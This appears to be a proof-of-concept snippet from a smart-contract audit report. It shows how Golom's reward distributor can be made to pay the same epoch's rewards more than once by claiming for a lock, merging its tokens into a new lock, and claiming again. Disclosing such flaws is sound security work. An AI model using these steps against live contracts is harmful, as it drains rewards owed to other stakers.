lockID = voteEscrow.create_lock(amount, 1 week); // Create lock #1 before
// IN THE BLOCK OF EPOCH CHANGE
rewardDistributor.multiStakerClaim([lockId], [0]); // Claim epoch 0 rewards for lock #1
voteEscrow.create_lock(1, 1 week); // Create lock #2 (requires 1 Golom token, could be created in advance)
voteEscrow.merge(lockId, lockId + 1); // Transfer lock #1 tokens to lock #2
rewardDistributor.multiStakerClaim([lockId + 1], [0]); // Claim same epoch rewards for lock #2
// repeat ...
